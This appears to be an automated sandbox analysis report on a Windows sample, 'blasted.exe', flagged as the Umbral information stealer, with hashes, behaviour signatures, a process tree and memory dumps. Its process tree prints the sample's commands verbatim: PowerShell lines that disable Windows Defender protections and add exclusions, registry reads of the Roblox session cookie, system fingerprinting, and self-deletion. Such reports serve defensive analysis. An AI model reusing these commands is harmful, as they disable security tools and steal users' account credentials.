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Analysis

  • max time kernel
    41s
  • max time network
    32s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    05/01/2025, 16:09

General

  • Target

    blasted.exe

  • Size

    229KB

  • MD5

    21e6f749bf59138d1528e64a34a88903

  • SHA1

    4f2447e8476dad93e39aac775a7bf91c2c8cd4b8

  • SHA256

    9952e7c346539dc361b2bda461eebf047ce00a2e3eb2bb3ab6f3fa0c0b5d87d5

  • SHA512

    2cad6e33730a69bc31378ae4f502f37f6d8f6d1fd85c17830108ab6b056f1b5994bf8254530194df655e433689c2c22e53fea94c5958f8c1ee55f938a6e5486c

  • SSDEEP

    6144:dloZM9rIkd8g+EtXHkv/iD4ZF3A6YXzQAp8aLLyfxmb8e1m6i:/oZmL+EP8ZF3A6YXzQAp8aLLyIo

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies registry class 4 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 43 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 43 IoCs
  • Suspicious use of SendNotifyMessage 43 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\blasted.exe
    "C:\Users\Admin\AppData\Local\Temp\blasted.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2772
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2248
    • C:\Windows\SYSTEM32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\blasted.exe"
      2⤵
      • Views/modifies file attributes
      PID:3080
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\blasted.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2396
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:416
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4948
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1832
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1928
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
        PID:4284
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        2⤵
          PID:4660
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:1440
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic" path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:1028
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\blasted.exe" && pause
          2⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:3092
          • C:\Windows\system32\PING.EXE
            ping localhost
            3⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:1124
      • C:\Windows\system32\taskmgr.exe
        "C:\Windows\system32\taskmgr.exe" /0
        1⤵
        • Checks SCSI registry key(s)
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:2808
      • C:\Windows\system32\BackgroundTransferHost.exe
        "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.13
        1⤵
        • Modifies registry class
        PID:1620
      • C:\Windows\System32\rundll32.exe
        C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
        1⤵
          PID:2168

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          627073ee3ca9676911bee35548eff2b8

          SHA1

          4c4b68c65e2cab9864b51167d710aa29ebdcff2e

          SHA256

          85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

          SHA512

          3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          2e8eb51096d6f6781456fef7df731d97

          SHA1

          ec2aaf851a618fb43c3d040a13a71997c25bda43

          SHA256

          96bfd9dd5883329927fe8c08b8956355a1a6ceb30ceeb5d4252b346df32bc864

          SHA512

          0a73dc9a49f92d9dd556c2ca2e36761890b3538f355ee1f013e7cf648d8c4d065f28046cd4a167db3dea304d1fbcbcea68d11ce6e12a3f20f8b6c018a60422d2

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          948B

          MD5

          83bc7bafe464042aba6a1d1d98a1489f

          SHA1

          8268233d7442b842b858a1ef0831b5998bd3df40

          SHA256

          9c4ea380965b6239151beaa1d605ff20255b3691968352fc8a3b8b7634a41b1d

          SHA512

          a38d64bbe657adaf9991240d46fda9268a3e1a322366847899bb6347de1d3cd66dabead78792f65dad68253147415f2ad44904eab1589368cf8d2140bdd1dfd0

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          7332074ae2b01262736b6fbd9e100dac

          SHA1

          22f992165065107cc9417fa4117240d84414a13c

          SHA256

          baea84fda6c1f13090b8cbd91c920848946f10ce155ef31a1df4cd453ee7e4aa

          SHA512

          4ae6f0e012c31ac1fc2ff4a8877ce2b4667c45b6e651de798318a39a2b6fd39a6f72dffa8b0b89b7a045a27d724d195656faa25a9fec79b22f37ddebb5d22da2

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          f6f33ae41ff18891871a3e906d915eb4

          SHA1

          cf6ac704047ea22e450c3fa972d98111e43885bc

          SHA256

          0225284153c04eb74129e1fbd81e498496e4ac83a70e9f40944c72a9012e2c45

          SHA512

          799bf60838820fd51d2247317ea2e7c2dfe08dadcd9659e7d4d0ac0b944c6ef17916aedf99be1e09bf4c608610cd4c58ddedb455af4a5117dfda95ea66540840

        • C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\BackgroundTransferApi\6fb994fb-bd04-4e92-a402-d960c46e516c.down_data

          Filesize

          555KB

          MD5

          5683c0028832cae4ef93ca39c8ac5029

          SHA1

          248755e4e1db552e0b6f8651b04ca6d1b31a86fb

          SHA256

          855abd360d8a8d6974eba92b70cbd09ce519bc8773439993f9ab37cb6847309e

          SHA512

          aba434bd29be191c823b02ea9b639beb10647bbe7759bbffdaa790dfb1ec2c58d74c525ef11aacda209e4effe322d1d3a07b115446c8914b07a3bce4d8a0e2c3

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rqi40pov.1rh.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/2396-3-0x00007FFE79A50000-0x00007FFE7A512000-memory.dmp

          Filesize

          10.8MB

        • memory/2396-4-0x00007FFE79A50000-0x00007FFE7A512000-memory.dmp

          Filesize

          10.8MB

        • memory/2396-13-0x00000251EFA40000-0x00000251EFA62000-memory.dmp

          Filesize

          136KB

        • memory/2396-14-0x00007FFE79A50000-0x00007FFE7A512000-memory.dmp

          Filesize

          10.8MB

        • memory/2396-17-0x00007FFE79A50000-0x00007FFE7A512000-memory.dmp

          Filesize

          10.8MB

        • memory/2772-67-0x00000270F0CC0000-0x00000270F0CCA000-memory.dmp

          Filesize

          40KB

        • memory/2772-32-0x00000270D8310000-0x00000270D832E000-memory.dmp

          Filesize

          120KB

        • memory/2772-31-0x00000270F0C60000-0x00000270F0CB0000-memory.dmp

          Filesize

          320KB

        • memory/2772-30-0x00000270F0CE0000-0x00000270F0D56000-memory.dmp

          Filesize

          472KB

        • memory/2772-0-0x00007FFE79A53000-0x00007FFE79A55000-memory.dmp

          Filesize

          8KB

        • memory/2772-68-0x00000270F0D80000-0x00000270F0D92000-memory.dmp

          Filesize

          72KB

        • memory/2772-2-0x00007FFE79A50000-0x00007FFE7A512000-memory.dmp

          Filesize

          10.8MB

        • memory/2772-81-0x00007FFE79A53000-0x00007FFE79A55000-memory.dmp

          Filesize

          8KB

        • memory/2772-84-0x00007FFE79A50000-0x00007FFE7A512000-memory.dmp

          Filesize

          10.8MB

        • memory/2772-89-0x00007FFE79A50000-0x00007FFE7A512000-memory.dmp

          Filesize

          10.8MB

        • memory/2772-1-0x00000270D64E0000-0x00000270D6520000-memory.dmp

          Filesize

          256KB

        • memory/2808-91-0x000001D79A0E0000-0x000001D79A0E1000-memory.dmp

          Filesize

          4KB

        • memory/2808-92-0x000001D79A0E0000-0x000001D79A0E1000-memory.dmp

          Filesize

          4KB

        • memory/2808-96-0x000001D79A0E0000-0x000001D79A0E1000-memory.dmp

          Filesize

          4KB

        • memory/2808-98-0x000001D79A0E0000-0x000001D79A0E1000-memory.dmp

          Filesize

          4KB

        • memory/2808-97-0x000001D79A0E0000-0x000001D79A0E1000-memory.dmp

          Filesize

          4KB

        • memory/2808-99-0x000001D79A0E0000-0x000001D79A0E1000-memory.dmp

          Filesize

          4KB

        • memory/2808-100-0x000001D79A0E0000-0x000001D79A0E1000-memory.dmp

          Filesize

          4KB

        • memory/2808-102-0x000001D79A0E0000-0x000001D79A0E1000-memory.dmp

          Filesize

          4KB

        • memory/2808-101-0x000001D79A0E0000-0x000001D79A0E1000-memory.dmp

          Filesize

          4KB

        • memory/2808-90-0x000001D79A0E0000-0x000001D79A0E1000-memory.dmp

          Filesize

          4KB